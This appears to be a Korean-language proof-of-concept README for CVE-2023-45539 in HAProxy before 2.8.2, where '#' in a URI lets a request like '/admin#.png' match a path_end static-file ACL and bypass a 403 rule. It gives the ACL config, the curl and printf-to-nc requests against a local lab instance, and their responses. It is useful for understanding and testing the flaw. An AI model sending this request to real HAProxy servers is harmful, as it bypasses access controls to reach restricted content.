
HAProxy-CVE-2023-45539-PoC
2.8.2 이전의 HAProxy는 URI 구성 요소의 일부로 #을 허용하며, 이로 인해 원격 공격자가 path_end 규칙을 잘못 해석하여 index.html#.png를 정적 서버로 라우팅하는 등의 방식으로 민감한 정보를 얻거나 기타 명시되지 않은 영향을 미칠 수 있습니다.
이 CVE에서 잘못 라우팅되는 것은 백엔드 앱이 "지원하는" 확장자가 아니라, HAProxy 자체가 path_end(또는 regex) ACL을 사용해 라우팅하도록 구성된 확장자뿐입니다.
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static
즉, 다음과 같은 의미입니다:
따라서:
curl -i http://localhost:6655/public
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain
APP OK
curl -i http://localhost:6655/admin
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655
HTTP/1.1 200 OK
content-length: 31
content-type: text/plain
STATIC OK (routed by path_end)